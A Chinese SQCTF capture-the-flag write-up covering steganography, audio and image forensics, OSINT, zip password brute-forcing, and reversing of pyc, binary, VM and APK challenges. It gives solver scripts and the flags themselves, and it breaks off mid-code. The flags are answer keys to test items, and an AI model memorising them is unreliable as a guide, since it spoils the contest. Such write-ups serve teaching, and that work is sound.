MISC

宝宝你是一只白色大猫猫

使用silenteye工具进行解密

然后爆破png的高度

cqr直接扫描

SQCTF{你是否承认仙舟云骑军将军景元天下无双}

ez_music1

使用Audacity直接看


SQCTF{Rush_B}

love.host

尾巴藏了数据,手动提取

解开压缩拿到flag(提交是大写SQCTF有点抽象)

SQCTF{Sun Ensheng is the most handsome.}

阿尼亚

根据文件名联想道使用 steganography 工具找半天没找到离线工具,找到了一个在线的 https://www.a.tools/Tool.php?Id=100

SQCTF{8f6711e6-7bb1-44e5-9ddf-5138127235ab}

王者荣耀真是太好玩了

打开王者荣耀搜索到ID "超下饭的萌新"

看到主页













百度这个地方地图找到这个地方看到评论里面有flag


1 https://map.baidu.com/poi/%E7%BA%A2%E5%A1%94%E9%9B%86%E5%9B%A2%E5%BD%A2%E8%B1% A1%E5%BA%97/@13032197.41,4671634.11,15.25z,50t,-98.7h?

uid=9c42be6aaddb8a442dfaa740&info_merge=1&isBizPoi=false&ugc_type=3&ugc_ver=1&

device_ratio=2&compat=1&pcevaname=pc4.1&querytype=detailConInfo&da_src=shareur l

url解密一次


sqctf{d29_qaXVza_GlndXlpZ_Xhpbm5p_ZGVoYWh_haGE%3d}

Welcome_Sign_in

关注公众号发送SQCTF我来了!

SQCTF{It_is_really_signin}

FFT IFFT

import os
import cv2
import struct
import numpy as np


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


if __name__ == '__main__':
    os.mkdir('m')
    os.mkdir('p')
    os.mkdir('frame')
    os.system('ffmpeg -i secret.mp4 frame/%03d.png')    #视频拆分多张照片

    files = os.listdir('frame')
    r_file = open('r', 'wb')

    for file in files:
        img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE)     #读取所有帧

        m, p = fft(img)
        r_file.write(struct.pack('!ff', m.min(), m.max()))

        new_img1 = mapping(m)               #绘制
        new_img2 = mapping(p)               #绘制

        cv2.imwrite(f'm/{file}', new_img1)
        cv2.imwrite(f'p/{file}', new_img2)

    r_file.close()
    os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
    os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')

这个脚本做了以下几件事情:

  1. 视频转图片帧: 使用 ffmpeg 将输入的视频 secret.mp4 拆分成一帧帧的 PNG 图片,保存在 frame 目录下,文件名格式为 001.png, 002.png, ...。

读取与处理:

遍历 frame 目录下的所有图片帧。 以灰度模式读取每一帧图像。

对每一帧图像进行二维快速傅里叶变换 (FFT)。

将 FFT 的结果分解为对数幅度谱 (m = np.log(np.abs(fft))) 和相位谱 (p = np.angle(fft))。

重要: 对于每一帧的对数幅度谱 m,将其最小值 m.min() 和最大值 m.max() 作为两个 4 字节浮点数(!ff 表示网络字节序,两个 float)写入二进制文件 r 中。这是为了后续能够精确地恢复幅度信息。

使用 mapping 函数将对数幅度谱 m 和相位谱 p 分别归一化到 0-255 的范围,并转换为 uint8 类型的灰度图像。

将归一化后的幅度谱图像保存到 m 目录,相位谱图像保存到 p 目录。

图片帧转视频:

使用 ffmpeg 将 m 目录下的幅度谱图像序列合成为视频 1.mkv。 使用 ffmpeg 将 p 目录下的相位谱图像序列合成为视频 2.mkv。

解密(恢复)思路

要恢复原始视频帧,我们需要执行上述过程的逆操作:

读取数据:

从 m 目录(或 1.mkv 视频)读取归一化的幅度谱图像。

从 p 目录(或 2.mkv 视频)读取归一化的相位谱图像。

从 r 文件中读取每一帧对应的原始对数幅度谱的最小值和最大值。

  1. 逆归一化 (Inverse Mapping):

幅度谱: 读取 m 目录中的 8 位图像,将其像素值(0-255)转换回浮点数(0.0-1.0),然后使用从 r 文件读到的 m_min 和 m_max,通过逆运算 m_rec = (img_m_float / 255.0) * (m_max

- m_min) + m_min 恢复出原始的对数幅度谱 m_rec。

相位谱: 读取 p 目录中的 8 位图像,将其像素值(0-255)转换回浮点数(0.0-1.0)。原始的 np.angle(fft) 结果范围是 [-π, π]。mapping 函数将其映射到了 [0, 255]。因此,逆运算

是 p_rec = (img_p_float / 255.0) * (np.pi - (-np.pi)) + (-np.pi) 即 p_rec = (img_p_float / 255.0)

* 2 * np.pi - np.pi,恢复出原始的相位谱 p_rec。

  1. 恢复 FFT 复数:

从恢复的对数幅度谱 m_rec 通过指数运算 np.exp(m_rec) 得到原始的幅度谱 magnitude。

使用恢复的幅度谱 magnitude 和相位谱 p_rec,通过欧拉公式 complex_value = magnitude

* exp(1j * phase) 重建 FFT 变换后的复数矩阵:fft_rec_shifted = magnitude * np.exp(1j * p_rec)。

  1. 逆 FFT:

对重建的复数矩阵 fft_rec_shifted 应用 np.fft.ifftshift(),将零频分量移回角落。 应用 np.fft.ifft2() 进行逆傅里叶变换,得到复数形式的图像数据。

获取实部并归一化:

取逆变换结果的实部 np.real(),因为原始图像是实数。

将得到的实部图像数据归一化到 0-255 范围,并转换为 uint8 类型,以便保存为图像文件。可以使用原始脚本中的 mapping 函数或者 cv2.normalize。

保存与合成:

将恢复的每一帧图像保存到新的目录(例如 reconstructed_frames)。 (可选)使用 ffmpeg 将恢复的图像帧合成为最终的视频文件。

import os
import cv2
import struct
import numpy as np
import shutil
import subprocess # 导入 subprocess 模块

# 原始脚本中的 mapping 函数,用于最后输出图像的归一化
def mapping(data, down=0, up=255, tp=np.uint8):
    # 添加检查以防止除以零
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    if interval == 0:
        # 如果图像是纯色,则所有像素映射到中间值或下限值
        print(f"Warning: Constant data found. Min={data_min}, Max={data_max}. Mapping to {(up + down) // 2}.")
        return np.full(data.shape, (up + down) // 2, dtype=tp)

    new_interval = up - down
    # 确保计算使用浮点数
    data_float = data.astype(np.float64)
    new_data = (data_float - data_min) * new_interval / interval + down

    # 限制值在 [down, up] 范围内,防止浮点数精度问题导致越界
    new_data = np.clip(new_data, down, up)
    new_data = new_data.astype(tp)
    return new_data

if __name__ == '__main__':
    m_dir = 'm'
    p_dir = 'p'
    r_file_path = 'r'
    output_dir = 'reconstructed_frames'
    output_video = 'reconstructed_video.mp4'
    # --- 指定 ffmpeg 可执行文件的相对路径 ---
    ffmpeg_exe_relative_path = os.path.join('ffmpeg', 'bin', 'ffmpeg.exe')
    # 获取 ffmpeg 的绝对路径,以便检查文件是否存在
    ffmpeg_exe_abs_path = os.path.abspath(ffmpeg_exe_relative_path)
    # -----------------------------------------

    # 检查输入文件/目录是否存在
    if not os.path.isdir(m_dir):
        print(f"错误:幅度谱图像目录 '{m_dir}' 不存在!")
        exit(1)
    if not os.path.isdir(p_dir):
        print(f"错误:相位谱图像目录 '{p_dir}' 不存在!")
        exit(1)
    if not os.path.isfile(r_file_path):
        print(f"错误:幅度谱范围文件 '{r_file_path}' 不存在!")
        exit(1)

    # 创建输出目录
    if os.path.exists(output_dir):
        print(f"警告:输出目录 '{output_dir}' 已存在,将删除并重新创建。")
        shutil.rmtree(output_dir) # 如果存在则删除旧目录
    os.makedirs(output_dir)
    print(f"已创建输出目录:'{output_dir}'")

    # 获取文件列表并排序
    try:
        m_files = sorted([f for f in os.listdir(m_dir) if f.endswith('.png')])
        p_files = sorted([f for f in os.listdir(p_dir) if f.endswith('.png')])
    except FileNotFoundError as e:
        print(f"错误:无法访问目录 {e.filename}")
        exit(1)


    if not m_files:
        print(f"错误:目录 '{m_dir}' 中没有找到 .png 文件。")
        exit(1)
    if not p_files:
        print(f"错误:目录 '{p_dir}' 中没有找到 .png 文件。")
        exit(1)

    if len(m_files) != len(p_files):
        print(f"错误:'{m_dir}' ({len(m_files)}个文件) 和 '{p_dir}' ({len(p_files)}个文件) 目录下的文件数量不匹配!")
        exit(1)

    try:
        with open(r_file_path, 'rb') as r_file:
            num_frames = len(m_files)
            struct_size = struct.calcsize('!ff') # 两个 float 的大小
            expected_r_size = num_frames * struct_size
            actual_r_size = os.path.getsize(r_file_path)

            if actual_r_size < expected_r_size:
                 print(f"警告:'{r_file_path}' 文件大小 ({actual_r_size}字节) 小于预期 ({expected_r_size}字节)。可能无法处理所有帧。")
            elif actual_r_size > expected_r_size:
                 print(f"警告:'{r_file_path}' 文件大小 ({actual_r_size}字节) 大于预期 ({expected_r_size}字节)。将只读取预期部分。")


            print(f"开始处理 {num_frames} 帧...")
            for i in range(num_frames):
                m_filename = m_files[i]
                p_filename = p_files[i] # 假设文件名一一对应

                # 1. 读取归一化的图像和对应的幅度范围
                m_path = os.path.join(m_dir, m_filename)
                p_path = os.path.join(p_dir, p_filename)
                img_m_norm = cv2.imread(m_path, cv2.IMREAD_GRAYSCALE)
                img_p_norm = cv2.imread(p_path, cv2.IMREAD_GRAYSCALE)

                if img_m_norm is None:
                    print(f"警告:无法读取幅度图像帧 {m_path}")
                    continue
                if img_p_norm is None:
                    print(f"警告:无法读取相位图像帧 {p_path}")
                    continue

                # 读取对应的 min/max 值
                r_data = r_file.read(struct_size)
                if len(r_data) < struct_size:
                    print(f"\n错误:'{r_file_path}' 文件数据不足,处理到第 {i+1} 帧 ({m_filename}) 时结束。")
                    num_frames = i # 更新实际处理的帧数,以便后续视频合成
                    break
                m_min, m_max = struct.unpack('!ff', r_data)

                # 2. 逆归一化
                img_m_float = img_m_norm.astype(np.float64)
                img_p_float = img_p_norm.astype(np.float64)

                # 幅度谱逆归一化 (恢复对数幅度谱)
                if (m_max - m_min) == 0:
                    m_rec = np.full(img_m_float.shape, m_min, dtype=np.float64)
                else:
                    m_rec = (img_m_float / 255.0) * (m_max - m_min) + m_min

                # 相位谱逆归一化 (恢复 [-pi, pi] 范围的相位)
                p_rec = (img_p_float / 255.0) * (2 * np.pi) - np.pi

                # 3. 恢复 FFT 复数
                magnitude = np.exp(m_rec)
                fft_rec_shifted = magnitude * np.exp(1j * p_rec)

                # 4. 逆 FFT
                fft_rec = np.fft.ifftshift(fft_rec_shifted)
                img_complex = np.fft.ifft2(fft_rec)

                # 5. 获取实部并归一化输出
                img_real = np.real(img_complex)
                img_out = mapping(img_real, 0, 255, np.uint8)

                # 6. 保存恢复的帧
                output_filename = os.path.join(output_dir, m_filename) # 使用原文件名保存
                cv2.imwrite(output_filename, img_out)
                # 减少打印频率,避免刷屏
                if (i + 1) % 10 == 0 or (i + 1) == num_frames:
                     print(f"\r已恢复并保存帧:{i + 1}/{len(m_files)} ({output_filename})", end="")

    except FileNotFoundError:
        print(f"\n错误:文件 '{r_file_path}' 未找到。")
        exit(1)
    except Exception as e:
        print(f"\n处理过程中发生错误:{e}")
        import traceback
        traceback.print_exc() # 打印详细错误信息
        exit(1)

    print(f"\n所有帧已处理完毕,共恢复 {num_frames} 帧图像,保存在 '{output_dir}' 目录下。")

    # 7. (可选) 将恢复的帧合成为视频
    if num_frames > 0: # 只有成功处理了至少一帧才尝试合成
        # --- 检查指定的 ffmpeg.exe 是否存在 ---
        if not os.path.isfile(ffmpeg_exe_abs_path):
            print(f"\n错误:未在指定位置找到 FFmpeg 可执行文件:'{ffmpeg_exe_abs_path}'")
            print("无法合成视频。请确保 'ffmpeg/bin/ffmpeg.exe' 文件存在于脚本所在目录的 ffmpeg 子目录中。")
        else:
            try:
                frame_rate = 25 # 假设原始帧率是 25
                input_pattern = os.path.join(output_dir, '%03d.png')

                # --- 构建 ffmpeg 命令参数列表 ---
                # 使用绝对路径确保 ffmpeg 被正确找到
                ffmpeg_command_list = [
                    ffmpeg_exe_abs_path,
                    '-framerate', str(frame_rate),
                    '-i', input_pattern,
                    '-c:v', 'libx264',       # 使用 H.264 编码
                    '-pix_fmt', 'yuv420p',   # 兼容性好的像素格式
                    '-crf', '23',            # 质量参数 (0-51, 越低越好, 18-28是常用范围)
                    '-y',                    # 覆盖已存在的输出文件
                    output_video
                ]
                # ---------------------------------

                print(f"\n正在尝试使用指定的 FFmpeg 合成视频: '{output_video}'")
                print(f"执行命令: {' '.join(ffmpeg_command_list)}") # 打印近似命令方便查看

                # --- 使用 subprocess.run 执行命令 ---
                result = subprocess.run(ffmpeg_command_list, capture_output=True, text=True, check=False) # check=False 自己判断

                if result.returncode == 0:
                    print(f"视频合成成功!输出文件:'{output_video}'")
                else:
                    print(f"FFmpeg 执行出错 (返回码: {result.returncode})。")
                    print("FFmpeg 标准输出:")
                    print(result.stdout)
                    print("FFmpeg 错误输出:")
                    print(result.stderr)
                    print(f"视频合成失败。")
                # ------------------------------------

            except Exception as e:
                print(f"\n合成视频时发生意外错误:{e}")
                import traceback
                traceback.print_exc()
                print("请检查 FFmpeg 是否能正常工作以及文件路径是否正确。")
    else:
        print("\n没有成功恢复的帧,跳过视频合成。")



SQCTF{HELLO}


YuanShen_Start!

用Audacity打开第一个文件

第一层密码


1 SQCTF{yuan_shen_1s_a_good_game!}


或者直接在word里面看(太卡了)


1 SQCTF{f968566s-3fb6-4bfd-885a-d9e102528784}


还找到一个压缩包尝试解压,没解开,还有一个图片直接丢随波逐流

直接大厨魔法棒

拿到 再去尝试解密压缩包

SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}

最后一层im不对?🤬

尝试刚刚word发现的flag



1 SQCTF{27fhcwg2h-hv2rv7b-82RFHCbbvw-289fv2}

piet

拿到图片,一眼npiet工具直接秒


1 SQCTF{Hello world!}

孩儿们等我破军

第一关应该和矩阵有关:不会算直接丢给ai了

纯数字密码?直接爆破

1 (15 23 22)

2 (37 51 50)



第二关给了六张图片和一个加密压缩包,图片放到010editor中, 首先发现的就是文件名和第一关的AB的值对应,其次查看文件格式:

发现文件尾异常

六张图片中只有15.png和其他图片不同

注意到文件尾,reflect中有We关键字,发现每个文件中都有reflect,并且都包裹关键字 可能是把每个都提取出来拼接,然后作为密码 写个脚本生成字典:

import itertools

# 定义6个不可拆分的段
segments = ["We", "c", "L1", "0", "e", "M"]

# 生成所有排列组合
all_permutations = itertools.permutations(segments)

# 写入文件(覆盖模式)
with open("combinations.txt", "w") as f:
    for i, perm in enumerate(all_permutations, 1):
        # 拼接为无空格字符串
        combined = "".join(perm)
        f.write(f"{combined}\n")
        # 打印进度(每100个提示一次)
        if i % 100 == 0:
            print(f"已生成 {i}/720 个组合")
print("生成完成!文件保存在 combinations.txt")

字典爆破:

第三关,文件尾藏key——>base32解码,拿到密码 第四关,二维码一直扫码不到,索性自己拼了一个

  1. flag{亲爱的召唤师:欢迎来到sqnuctf!}
  2. SQCTF{亲爱的召唤师:欢迎来到sqnuctf!}



花非花,雾非雾_0

上传文件给了一个密文,没找到密钥暂时搁置

下载两个文件 flag2.bmp ,flag1.wav
flag1.wav是摩斯密码










拿到第一段

{fu429-

flag2.bmp看0通道隐写拿到第二段


flag2:wey23-vbd23

最后研究了一下,还是脑洞密钥。。。。。

1 贝斯小心翼翼地捧着她精心收集的图片宝库,来到阿尔西四世先生的加密工作室。这位挑剔的图片鉴赏家戴着单片眼镜,仔细审视每一张图片。当他皱起眉头时,图片就会化作一串数字尘埃消失不见;而当他露出满意的笑容说嘻嘻不嘻嘻时,就会从西装内袋里取出一串神秘的魔法密文作为奖励—— U2FsdGVkX19hDm7VsaTyR1yuDiGFF8wr7aoQfg==,这串字符在空气中闪烁着幽蓝色的微光。

阿尔西四世先生

r e x 4

  1. 加密方式RC4
  2. 密文:U2FsdGVkX19hDm7VsaTyR1yuDiGFF8wr7aoQfg==
  3. 密钥:5Zi75Zi75LiN5Zi75Zi7

1 SQCTF{fu429-wey23-vbd23-278fgy17dh}


老君山的落日好美


暴力破解拿到压缩包密码 1352681

接下来没什么思路,一种隐写一种隐写试,都没什么思路 尝试用stegdetect:

发现图片格式损坏,被添加了字节怀疑有盲水印:尝试watermark:


1 SQCTF{luorihaomei}

这是什么加密


1 խࢢ◌ࢺൎ ଳবɠઈчŧರڥXʦ୦พцঙԮ ȥॺೡԋЭप೩ܥӉʣɉ5


base2048解密

小巷人家

尝试隐写啥的试了半天,才发现是社工

(不知道什么的地方的丢百度)

SQCTF{西园寺}

哈哈

可以看到音频文件很有规律 尝试提取,宽的为0,长的为1

提取出来:010100110101000101000011010101000100011001111011001101010100001001000011011010

000110100101001100011001000101111101001001001101010101111101110010011001010011

0100001100010011000101011001010111110110001101010101010101000100010101111101



SQCTF{5BChiLd_I5_re411Y_cUTE}

​

可否许我再少年

问卷直接填

SQCTF{this_is_real_end}

​

Reverse

ezRe

python解包

pyc反编译


  1. import base64
  2. encoded_flag = 'NWVkMmJlNDUtMmU4My00OGQyLWI2MzEtYzA4OGU1MWVlOTY0'
  3. flag = base64.b64decode(encoded_flag).decode('utf-8')
  4. print(flag)

base64解密


SQCTF{5ed2be45-2e83-48d2-b631-c088e51ee964}


慕然回首,那人却在灯火阑珊处

main函数

生成10x10迷宫关键数组

写脚本使用BFS 算法来寻找迷宫的最短路径


from collections import deque

# --- 1. 从 .data 段提取并构建迷宫 ---
# .data:0000000000403040 maze db 'S**#########*########**#########**#########*###**##***###**##*###'
# .data:0000000000403081 db '##**##*#####*E##*******############',0
maze_part1 = 'S**#########*########**#########**#########*###**##***###**##*###'
maze_part2 = '##**##*#####*E##*******############'
full_maze_string = maze_part1 + maze_part2

rows = 10
cols = 10

# 检查字符串长度是否正确
if len(full_maze_string) != rows * cols:
    print(f"错误:迷宫字符串长度 ({len(full_maze_string)}) 与预期 ({rows*cols}) 不符!")
    exit(1)

# 将字符串转换为 10x10 的列表(网格)
maze = [list(full_maze_string[i*cols:(i+1)*cols]) for i in range(rows)]

# (可选) 打印迷宫以进行验证
print("迷宫地图:")
for r in range(rows):
    print("".join(maze[r]))
print("-" * 20)

# --- 2. 寻找起点 'S' 和终点 'E' ---
start_pos = None
end_pos = None
for r in range(rows):
    for c in range(cols):
        if maze[r][c] == 'S':
            start_pos = (r, c)
        elif maze[r][c] == 'E':
            end_pos = (r, c)

if not start_pos:
    print("错误:未找到起点 'S'!")
    exit(1)
if not end_pos:
    print("错误:未找到终点 'E'!")
    exit(1)

print(f"起点 S: {start_pos}")
print(f"终点 E: {end_pos}")
print("-" * 20)

# --- 3. 执行广度优先搜索 (BFS) ---
queue = deque([(start_pos, "")]) # 存储 (坐标, 到达该坐标的路径字符串)
visited = {start_pos}            # 存储已访问过的坐标 (r, c),防止重复访问和死循环

# 定义移动方向 (dr, dc, move_char) -> 行变化, 列变化, 移动字符
# 对应 C 代码逻辑: w(up, --x/--r), s(down, ++x/++r), a(left, --y/--c), d(right, ++y/++c)
moves = [
    (-1, 0, 'w'), # 上 (行减1)
    ( 1, 0, 's'), # 下 (行加1)
    ( 0,-1, 'a'), # 左 (列减1)
    ( 0, 1, 'd')  # 右 (列加1)
]

shortest_path = None

while queue:
    (current_r, current_c), current_path = queue.popleft()

    # 检查是否到达终点
    if (current_r, current_c) == end_pos:
        shortest_path = current_path
        break # 找到最短路径,停止搜索 (BFS保证第一个找到的就是最短的)

    # 探索相邻节点 (按 w, s, a, d 顺序,虽然BFS不强制顺序,但保持一致性)
    for dr, dc, move_char in moves:
        next_r, next_c = current_r + dr, current_c + dc

        # 检查边界: 坐标是否在 0 到 rows-1 / cols-1 之间
        if 0 <= next_r < rows and 0 <= next_c < cols:
            # 检查是否是墙壁 '#'
            if maze[next_r][next_c] != '#':
                # 检查是否已访问过
                if (next_r, next_c) not in visited:
                    visited.add((next_r, next_c)) # 标记为已访问
                    new_path = current_path + move_char # 构建新路径
                    queue.append(((next_r, next_c), new_path)) # 加入队列

# --- 4. 输出结果 ---
if shortest_path is not None:
    flag = f"sqctf{{{shortest_path}}}"
    print("找到最短路径!")
    print(f"路径: {shortest_path}")
    print(f"Flag: {flag}")
else:
    print("未找到从 'S' 到 'E' 的路径。")

sqctf{ddsssdssaasssddddddwd}

鹅鹅鹅,曲项向天歌

还是python程序,继续python解包,然后pyc反编译


def verification():
    part1 = 'flag{'
    part2 = 'xxxxxxxxxxxxxxxxxxxxxxx'
    part3 = '}'
    tmp = ''
    part2_1 = part2[:7]
    part2_2 = part2[7:20]
    part2_3 = part2[20:]
    for i in range(len(part2_1)):
        tmp += chr(ord(part2_1[i]) + 5)
    for i in range(len(part2_2)):
        tmp += chr(ord(part2_2[i]) + 0)
    for i in range(len(part2_3)):
        tmp += chr(ord(part2_3[i]) - 7)
    ciphertext = 'itd~tzw_know_sanmenxbZ8'
    true_flag = part1 + part2 + part3

对ciphertext进行变换的逆操作还原part2

# -*- coding: utf-8 -*-

def solve():
    """
    Reverses the transformations applied in the verification function
    to recover the original flag content.
    """
    ciphertext = 'itd~tzw_know_sanmenxbZ8'
    part1_prefix = 'flag{'
    part3_suffix = '}'

    # Define the lengths based on the original script's slicing
    len1 = 7
    len2 = 13 # Original slice was [7:20], so length is 20 - 7 = 13
    # len3 can be derived or use slicing to the end

    # Split the ciphertext based on the lengths
    if len(ciphertext) < len1 + len2:
        print("Error: Ciphertext is too short!")
        return

    cipher_part1 = ciphertext[:len1]         # First 7 chars
    cipher_part2 = ciphertext[len1:len1+len2] # Next 13 chars (index 7 to 19)
    cipher_part3 = ciphertext[len1+len2:]    # Remaining chars (index 20 to end)

    print(f"Ciphertext: {ciphertext}")
    print(f"Split Part 1: {cipher_part1}")
    print(f"Split Part 2: {cipher_part2}")
    print(f"Split Part 3: {cipher_part3}")
    print("-" * 20)

    # --- Reverse the transformations ---

    # Part 1: Original operation was ASCII + 5, reverse is ASCII - 5
    recovered_part1_chars = []
    for char in cipher_part1:
        original_char_code = ord(char) - 5
        recovered_part1_chars.append(chr(original_char_code))
    recovered_part1 = "".join(recovered_part1_chars)
    print(f"Reversing Part 1 (char code - 5): {recovered_part1}")

    # Part 2: Original operation was ASCII + 0, reverse is ASCII - 0 (no change)
    recovered_part2 = cipher_part2 # No change needed
    print(f"Reversing Part 2 (char code - 0): {recovered_part2}")

    # Part 3: Original operation was ASCII - 7, reverse is ASCII + 7
    recovered_part3_chars = []
    for char in cipher_part3:
        original_char_code = ord(char) + 7
        recovered_part3_chars.append(chr(original_char_code))
    recovered_part3 = "".join(recovered_part3_chars)
    print(f"Reversing Part 3 (char code + 7): {recovered_part3}")
    print("-" * 20)

    # --- Combine the recovered parts to form the original part2 ---
    original_part2 = recovered_part1 + recovered_part2 + recovered_part3
    print(f"Full Recovered Part 2: {original_part2}")

    # --- Construct the final flag ---
    final_flag = part1_prefix + original_part2 + part3_suffix
    print(f"Final Flag: {final_flag}")

    return final_flag

if __name__ == "__main__":
    solve()

flag{do_your_know_sanmenxia?}

圣人当仁不让

main函数

关键加密函数vm_execute

这个函数对输入的 17 个字节 (a1[0] 到 a1[16]) 进行了逐字节的变换。变换的顺序是:

  1. byte = byte ^ 0xAA
  2. byte = byte + 5
  3. byte = byte - 2

合并后就是: output_byte = (input_byte ^ 0xAA) + 3

逆序,先进行base64解密在进行vm_execute解密脚本

import base64

# 目标 Base64 字符串 (来自 Str2)
target_b64 = "/P7sAe/U0s7c1vjb0vjfyt=="

# 1. Base64 解码
try:
    # 明确解码为 16 字节
    vm_output_bytes_16 = base64.b64decode(target_b64)
    print(f"[*] Base64 Decoded (Target vm_execute output, 16 bytes): {vm_output_bytes_16}")
    print(f"[*] Length of decoded bytes: {len(vm_output_bytes_16)}")
    if len(vm_output_bytes_16) != 16:
        # 这个错误理论上不应该发生,因为我们知道这个字符串解码为16字节
        print("[!] Error: Decoded length is not 16 bytes as expected for this string.")
        exit(1)
except Exception as e:
    print(f"[!] Base64 decoding failed: {e}")
    exit(1)

# 2. 逆向 vm_execute 的操作 (针对这 16 个字节)
original_flag_bytes_16 = bytearray()
key = 0xAA

for byte_val in vm_output_bytes_16:
    # 执行逆运算: input = (output - 3) ^ 0xAA
    # 字节运算在 0-255 范围内循环 (模 256)
    temp_val = (byte_val - 3) & 0xFF # 减 3,并确保结果在 0-255 范围内
    original_byte = temp_val ^ key
    original_flag_bytes_16.append(original_byte)

# 3. 尝试解码前 16 个字节并猜测第 17 个字节
try:
    flag_part16 = original_flag_bytes_16.decode('utf-8') # 或者 'ascii'
    print(f"\n[*] Derived first 16 chars of flag: {flag_part16}")

    # 猜测第 17 个字符,通常是 '}'
    guessed_flag = flag_part16 + '}'
    print(f"[+] Guessed full 17-char flag: {guessed_flag}")

    # 你可以尝试提交 guessed_flag

except UnicodeDecodeError:
    print("\n[!] Warning: Could not decode the first 16 bytes as UTF-8/ASCII.")
    print(f"[*] Original 16 flag bytes (hex): {original_flag_bytes_16.hex()}")

SQCTF{easy_re_vm}

往事暗沉不可追

又是python,解包,pyc反编译


class SimpleVM:
    
    def __init__(self):
        self.memory = [
            0] * 256
        self.registers = [
            0] * 16

    
    def load(self, reg, addr):
        self.registers[reg] = self.memory[addr]

    
    def store(self, reg, addr):
        self.memory[addr] = self.registers[reg]

    
    def xor(self, reg, value):
        self.registers[reg] ^= value

    
    def execute(self, bytecode):
        ip = 0
        if ip < len(bytecode):
            op = bytecode[ip]
            if op == 'LOAD':
                reg = bytecode[ip + 1]
                addr = bytecode[ip + 2]
                self.load(reg, addr)
                ip += 3
            elif op == 'STORE':
                reg = bytecode[ip + 1]
                addr = bytecode[ip + 2]
                self.store(reg, addr)
                ip += 3
            elif op == 'XOR':
                reg = bytecode[ip + 1]
                value = bytecode[ip + 2]
                self.xor(reg, value)
                ip += 3
            else:
                raise ValueError(f'''Unknown opcode: {op}''')
            if not None < len(bytecode):
                return None
            return None

    
    def get_memory(self):
        return self.memory


bytecode = [
    'LOAD',
    0,
    16,
    'XOR',
    0,
    85,
    'STORE',
    0,
    32,
    'LOAD',
    1,
    32,
    'XOR',
    1,
    170,
    'STORE',
    1,
    48]
encrypted_data = [
    127,
    131,
    125,
    123,
    135,
    127,
    133,
    123,
    125,
    131,
    127,
    135,
    131,
    123,
    135,
    125]
vm = SimpleVM()
vm.memory[16:16 + len(encrypted_data)] = encrypted_data
vm.execute(bytecode)
final_memory = vm.get_memory()

解密过程涉及两次异或操作,每次分别使用85和170。由于异或操作的性质,两次异或等同于异或它们的组合值(85 ^ 170 = 255)。因此,只需将加密数据中的每个元素异或255即可得到原始数据

# 加密的数据
encrypted_data = [
    127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125
]

# 虚拟机字节码中出现的两个异或值 (来自 1.py 的 bytecode 列表)
xor_value_1 = 85
xor_value_2 = 170

# 确认的解密密钥是两个异或值的异或结果
# 85 ^ 170 = 255
decryption_key = xor_value_1 ^ xor_value_2

# 执行解密:将 encrypted_data 中的每个字节与密钥进行异或
decrypted_sequence = []
for byte_val in encrypted_data:
    decrypted_byte = byte_val ^ decryption_key
    decrypted_sequence.append(decrypted_byte)

# --- 输出结果 ---

print("解密密钥 (85 ^ 170):", decryption_key)
print("-" * 30)
print("解密后的数字序列:")
print(decrypted_sequence)
print("-" * 30)

# 格式化为字符串(以逗号分隔)
decrypted_string = ",".join(map(str, decrypted_sequence))
print("格式化为逗号分隔的字符串:")
print(decrypted_string)
print("-" * 30)

flag_format_string = f"SQCTF{{{decrypted_string}}}"
print("尝试组装成 SQCTF 格式的 Flag:")
print(flag_format_string)
print("-" * 30)

# 尝试将解密后的数字序列作为字节转换为文本(通常在 flag 是文本时使用)
# 对于这个序列 (包含 >127 的值),直接转 ASCII/UTF-8 可能不是预期结果,但作为检查步骤
try:
    decrypted_text = bytes(decrypted_sequence).decode('utf-8', errors='replace')
    print("尝试将序列作为字节转换为文本 (UTF-8):")
    print(decrypted_text)
except Exception as e:
    print(f"尝试将序列转换为文本时出错: {e}")

SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}

遇事不决,可问春风

拿到是一个apk文件,使用jadx进行反编译

package com.example.wakurev;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    private static final String[] ENCRYPTED_PARTS = {"5", "#", ")", "7", "5", "#", ")", "7"};
    private static final String FLAG_PREFIX = "SQCTF{";
    private static final String FLAG_SUFFIX = "}";
    private static final int XOR_KEY = 66;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final EditText input = (EditText) findViewById(R.id.etInput);
        Button btn = (Button) findViewById(R.id.btnVerify);
        final TextView tvResult = (TextView) findViewById(R.id.tvResult);
        btn.setOnClickListener(new View.OnClickListener() { // from class: com.example.wakurev.MainActivity$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                MainActivity.this.m49lambda$onCreate$0$comexamplewakurevMainActivity(input, tvResult, view);
            }
        });
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    /* renamed from: lambda$onCreate$0$com-example-wakurev-MainActivity  reason: not valid java name */
    public /* synthetic */ void m49lambda$onCreate$0$comexamplewakurevMainActivity(EditText input, TextView tvResult, View v) {
        String userInput = input.getText().toString();
        if (checkPassword(userInput)) {
            tvResult.setText("验证成功! Flag: " + buildFlag(userInput));
        } else {
            tvResult.setText("验证失败");
        }
    }

    private boolean checkPassword(String input) {
        return input.equals(decryptPassword());
    }

    private String decryptPassword() {
        String encrypted = getEncryptedPassword();
        char[] chars = encrypted.toCharArray();
        StringBuilder result = new StringBuilder();
        for (char c : chars) {
            result.append((char) (c ^ 'B'));
        }
        return result.toString();
    }

    private String getEncryptedPassword() {
        String[] strArr;
        StringBuilder sb = new StringBuilder();
        for (String part : ENCRYPTED_PARTS) {
